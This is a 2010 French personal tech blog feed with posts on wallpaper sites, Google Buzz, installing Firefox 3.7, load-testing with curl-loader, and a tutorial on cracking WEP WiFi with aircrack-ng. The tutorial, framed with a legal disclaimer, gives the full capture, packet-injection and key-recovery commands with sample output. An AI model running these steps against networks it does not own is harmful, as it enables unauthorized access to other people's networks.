Le blog de NicoLargo » Web

Mes "marques ta-pages" de la semaine

NicoLargo — Fri, 12 Mar 2010 13:50:41 +0000

Mes "marques ta-pages" de la semaine

NicoLargo — Fri, 26 Feb 2010 09:14:11 +0000

Mon top 3 des sites pour fonds d'écran

NicoLargo — Fri, 19 Feb 2010 13:40:43 +0000

Il y a bien une chose avec laquelle je ne rigole: la qualité de mes fonds d'écran...Vu le temps que l'on passe (trop ?) devant nos machines, il serait dommage d'avoir des images moches et/ou rébarbatives. J'opte donc pour une rotation automatique toutes les 12 heures (avec le logiciel Wallpaper-tray sous Ubuntu et en suivant cette méthode pour mon MBP sous Mac OS X)

Voici donc les 3 sites sur lesquels je récupère mes fameux "wallpapers" (sous licence publique pour une utilisation personnelle).

Vlad Studio

Cet artiste est un vrai génie des fonds d'écran, j'en avait déjà parlé dans ce billet il y a maintenant plus de deux ans mais il reste au top de sa forme.

Adresse du site: http://www.vladstudio.com/fr/wallpapers/

Smashing Magazine

Ce site est la référence pour le Web Design (enfin pour moi). Leur section fonds d'écran, bien que peu mise à jour, cache des petits bijoux.

Adresse du site: http://www.smashingmagazine.com/tag/wallpapers/

Devian Art

Dans un autre style, les fonds d'écran que l'on peut trouver sur ce site plairont certainement à un large public !

Adresse du site: http://browse.deviantart.com/customization/wallpaper/

Et vous ? quels sont vos sites de références pour les fonds d'écran ?

Mes "marques ta-pages" de la semaine

NicoLargo — Fri, 19 Feb 2010 08:44:05 +0000

Je veux désactiver Buzz

NicoLargo — Wed, 17 Feb 2010 10:31:14 +0000

Je dois avouer que le dernier service Google (Buzz pour ne pas le citer) m'a légèrement échauffé les oreilles. De retour de congés, le lien Buzz est apparu dans ma messagerie personnelle Gmail. De plus des mails (tagués Buzz) étaient envoyés automatiquement, un comble !

Pourquoi Google n'a pas fait comme d'habitude en proposant cette nouvelle fonction dans les Labs ? L'aspect intrusif de Buzz dans ma messagerie est pour moi insupportable. Je ne suis manifestement pas le seul et devant le tollé général, Google a fait machine arrière et devrait proposer dans les prochains jours (d'abord au US puis ensuite en France et dans le reste du monde) une option pour désactiver Buzz.

Mon système de micro-blogging restera Twitter et Identica, je continuerai cependant à utiliser Gmail pour ma messagerie personnelle, n'ayant rien trouvé de mieux (souplesse, rapidité, stabilité...)

Et vous , quel est sont vos réactions vis à vis de la mise en place de Buzz ?

Cracker un réseau Wifi sous GNU/Linux

NicoLargo — Wed, 17 Feb 2010 09:37:04 +0000

Les réseaux Wifi envahissent notre quotidien. Force est de constater les techniques de protection de ces réseaux ont fait un bon en avant ces dernières années: WEP, WPA, WPA2... Cependant, il existe des solutions logicielles pour contourner ces protections. Nous allons en aborder quelques unes dans ce billet.

Attention: Je décline toute responsabilité concernant l'usage de ce tutoriel par des personnes mal intentionnées. Je vous rappelle qu'il est formellement interdit de s'introduire sur un réseau sans l'accord de son propriétaire. Si vous souhaitez tester cette procédure, il est donc conseillé de le faire sur votre réseau Wifi et pas sur celui du voisin

Crack de réseau Wifi WEP avec AirCrack-NG

Le principe est de capturer du trafic Wifi puis d'analyser le contenu de la capture pour y trouver le mot de passe WEP. Nous allons utiliser la suite logicielle AirCrack-NG (disponible sous GNU/Linux et Windows).

Installation de Aircrack-NG

Sur une distribution GNU/Linux Ubuntu, l'installation se résume à la ligne de commande suivante:


sudo aptitude install aircrack-ng

Capture du trafic Wifi

On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:


sudo airmon-ng start wlan0
Interface	Chipset		Driver
wlan0		Intel 4965/5xxx	iwlagn - [phy0]
(monitor mode enabled on mon0)

Cette première commande va créer l'interface virtuelle mon0, sur laquelle on va capturer le trafic Wifi. Avant de lancer la capture, il faut sélectionné le channel ID (réseau Wifi):


sudo airodump-ng mon0

Cette commandes va afficher les réseau Wifi disponibles:

 CH 10 ][ Elapsed: 16 s ][ 2010-01-12 14:18                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                 

 00:80:48:4F:2E:C4  -55       28        0    0   1  54 . OPN              WifiDeTest             

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                      

 (not associated)   00:22:FA:FE:B5:6E  -72    0 - 1     30       10

On peut voir que le réseau (ESSID) WifiDeTest est associé au channel (CH) 1 avec l'adresse MAC (BSSID) 00:80:48:4F:2E:C4. Notre PC effectuant l'attaque à comme addresse MAC (STATION) 00:22:FA:FE:B5:6E.

On peut ensuite capturer le trafic de ce channel spécifique, le résultat de la capture sera enregistré dans un fichier dont le préfixe commencera par dump:


sudo airodump-ng --encrypt WEP -c 1 -w dump -i mon0

Injection de trafic dans le réseau

Afin d'accélérer la phase précédente, il est judicieux d'injecter du trafic afin que la capture ait une taille conséquente. Les actions suivantes sont donc à faire en parallèle de la capture (c'est à dire dans un autre terminal).

Nous allons dans un premier temps générer une attaque de type "fake authentification" sur le routeur Wifi. Cette étape est seulement nécessaire si un filtrage par @MAC est actif.


aireplay-ng -1 0 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E

La syntaxe est la suivante:

aireplay-ng -1 0 -e ESSID -a BSSID -h STATION

On passe ensuite à l'injection du trafic, étape indispensable de ce hack:


aireplay-ng -3 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E

Le résultat est un fichier dump-01.cap. Plus la capture sera longue (et donc ce fichier gros), plus Aircrack-NG aura de chance de cracker le mot de passe WEP. La documentation conseille une taille minimum de 500 Ko (il suffit de faire des "ls -alF" dans le répertoire pendant que la commande précédente tourne pour voir la taille du fichier). Quand vous voulez arrêter la capture, faire un CTRL-C dans la fenêtre.

Analyse du dump

On se retrouve donc avec un fichier dump-01.cap de 500 Ko ou plus. Pour en faire l'analyse et trouver le mot de passe WEP, il faut utiliser la commande:


aircrack-ng -b 00:80:48:4F:2E:C4 dump-01.cap

Ou 00:80:48:4F:2E:C4 est à remplacer par l'adresse BSSID fourni par la commande "sudo airodump-ng mon0".

On arrive au résultat suivant:


...

Key found: [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ]

Probability 100%

Il ne reste plus qu'à ce connecter "normalement au réseau WEP en utilisant cette clés !

Enfin on arrête le monitoring de l'interface:

On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:


sudo airmon-ng stop wlan0

Conclusion

Comme vous pouvez le voir il est vraiment facile de cracker un réseau Wifi WEP, je vous conseille donc de ne pas utiliser ce type de protection sur votre réseau domestique et encore moins professionnel.

Crack de réseau Wifi WPA/WPA2 avec Pyrit

Contrairement à WEP, WPA et WPA2 demande beaucoup plus de ressource avant d'être cracker. C'est dans cette optique que le projet Pyrit a vu le jour: proposer un algorithme de crack des ce type de réseau Wifi en utilisant la puissance de votre GPU.

Voici une petit démonstration en vidéo:

Pour une procédure complète qui mélangent l'utilisation de AirCrack-NG (pour la capture et le filtrage du réseau à cracker) et Pyrit pour le hack par "brute-force", je vous conseille la lecture de ce forum ou de ce billet.

Simuler des connexions HTTP/FTP simultanées

NicoLargo — Mon, 15 Feb 2010 10:34:42 +0000

Curl-Loader est un logiciel libre, écrit en langage C (le meilleur langage pour développer des applications réseaux), permettant de simuler sur votre serveur WEB ou FTP un grand nombre de connexions simultanées. Nous allons dans ce billet voir comment installer, configurer et tester ce logiciel dans un environnement GNU/Linux (Ubuntu 9.10 dans mon cas).

Installation de Curl-Loader

Comme il n'est pas encore (des volontaires ?) disponible dans les dêpots officiels, il va falloir compiler Curl-Loader à la main. Avant d'aller plus loin, on installe des pré-requis système:


sudo aptitude install build-essential openssl libssl-dev

On commence par récupérer la dernière version disponible (0.51 au moment de l'écriture de ce billet):


wget http://downloads.sourceforge.net/project/curl-loader/curl-loader/curl-loader-0.51/curl-loader-0.51.tar.gz?use_mirror=sunet

On décompresse et compile le tout:


tar zxvf curl-loader-0.51.tar.gz

cd curl-loader-0.51

make optimize=1

On finalise l'installation avec:


sudo make install

Configuration de Curl-Loader

Tout est centralisé dans un fichier de configuration. Quelques exemples de fichiers de conf sont fournis avec les sources dans le répertoire ./conf-exemples/.

Le plus simple est de partir du fichier ./conf-exemples/bulk.conf:


cp ./conf-exemples/bulk.conf ~/curlloader.conf

cd ~

On édite le fichier pour l'adapter à son besoin (documentation exhaustive disponible sur le site officiel) :


vi curlloader.conf


########### GENERAL SECTION ################################

BATCH_NAME= bulk

CLIENTS_NUM_MAX=200

CLIENTS_RAMPUP_INC=5

INTERFACE=eth0

NETMASK=24

IP_ADDR_MIN= 192.168.29.148

IP_ADDR_MAX= 192.168.29.148

IP_SHARED_NUM=1

CYCLES_NUM= 100

URLS_NUM= 1

########### URL SECTION ####################################

URL=http://www.monserveurweb.com/

URL_SHORT_NAME="MonServeurWeb"

REQUEST_TYPE=GET

TIMER_URL_COMPLETION = 5000

TIMER_AFTER_URL_SLEEP = 500

Utilisation de Curl-Loader

Attention à ne lancer Curl_Loader que vers un serveur qui vous appartient.
Dans le cas contraire, cela peut être considéré comme une attaque par dénie de service !

Il ne reste plus qu'a lancer Curl-Loader avec ce fichier de configuration:


sudo curl-loader -f ~/curlloader.conf

Que va faire l'exécution de Curl-Loader avec notre fichier de configuration ?

On commence un cycle en envoyant sur le réseau 5 (CLIENTS_RAMPUP_INC) requêtes simultanées vers le serveur Web d'URL http://www.monserveurweb.com/(URL), puis 1 seconde plus tard, 5 requêtes de plus et ainsi de suite jusqu'à 200 (CLIENTS_NUM_MAX) requêtes simultanées. A la fin de ce cycle, on continu jusqu'à attendre le 100em cycle (CYCLES_NUM).

A la fin du test on a les informations suivantes qui s'affichent:


Test total duration was 54 seconds and CAPS average 231:

H/F   Req:24665,1xx:0,2xx:12332,3xx:12333,4xx:0,5xx:0,Err:0,T-Err:1,D:1ms,D-2xx:3ms,Ti:1343807B/s,To:56181B/s

H/F/S Req:0,1xx:0,2xx:0,3xx:0,4xx:0,5xx:0,Err:0,T-Err:0,D:0ms,D-2xx:0ms,Ti:0B/s,To:0B/s

Exited. For details look in the files:

- bulk.log for errors and traces;

- bulk.txt for loading statistics;

- bulk.ctx for virtual client based statistics.

- bulk.ops for operational statistics.

Pour la le lecture des rapports, voici un petit mémento:

CAPS=call attempts per seconds;
run-time in seconds;
requests num;
1xx success num;
2xx success num;
3xx redirects num;
client 4xx errors num;
server 5xx errors num;
other errors num, like resolving, tcp-connect, server closing or empty responses number (Err);
url completion time expiration errors (T-Err);
average application server Delay (msec), estimated as the time between HTTP request and HTTP response without taking into the account network latency (RTT) (D);
average application server Delay for 2xx (success) HTTP-responses, as above, but only for 2xx responses. The motivation for that is that 3xx redirections and 5xx server errors/rejects may not necessarily provide a true indication of a testing server working functionality (D-2xx);
throughput in, batch average, Bytes/sec (T-In);
throughput out, batch average, Bytes/sec (T-Out);

Firefox 3.7 sous Ubuntu (dépôts)

NicoLargo — Sat, 13 Feb 2010 10:03:09 +0000

Après Firefox 3.6.5, c'est la version 3.7 qui prendra le relai des navigateurs Web de Mozilla. Selon PC INpact, la principale nouveauté de cette version est l'intégration de la technologie d'Electrolysis:

" Electrolysis a pour objectif principal de permettre à Firefox l’utilisation de tous les cœurs disponibles dans la machine. La grande majorité des machines vendues aujourd’hui dispose d’au moins deux cœurs d’exécution, sinon quatre. Le navigateur ne peut en utiliser qu’un seul. Ainsi, lors de l’affichage de certaines pages, la charge peut grimper à 100 % et déclencher la pleine vitesse du ventilateur, en particulier dans un ordinateur portable."

Il est déjà possible de tester cette nouvelle version (qui est actuellement en développement) sous son système d'exploitation GNU/Linux Ubuntu en suivant la procédure suivante.

On commence par ajouter le dépôts PPA officiel (les "daily builds" de Mozilla):


sudo add-apt-repository ppa:ubuntu-mozilla-daily

sudo aptitude update

Ensuite on installe Firefox 3.7 (qui peut cohabiter avec des versions antérieures) avec la commande:


sudo aptitude install firefox-3.7

Il ne reste plus qu'a lancer le navigateur en allant dans le menu "Applications" (Internet/Minefield 3.7 Web Browser) ou en ouvrant un terminal et en lancant la commande:


firefox-3.7

Et voilà le travail !

Mes "marques ta-pages" de la semaine

NicoLargo — Fri, 29 Jan 2010 09:23:05 +0000

Mes "marques ta-pages" de la semaine

NicoLargo — Fri, 22 Jan 2010 14:34:46 +0000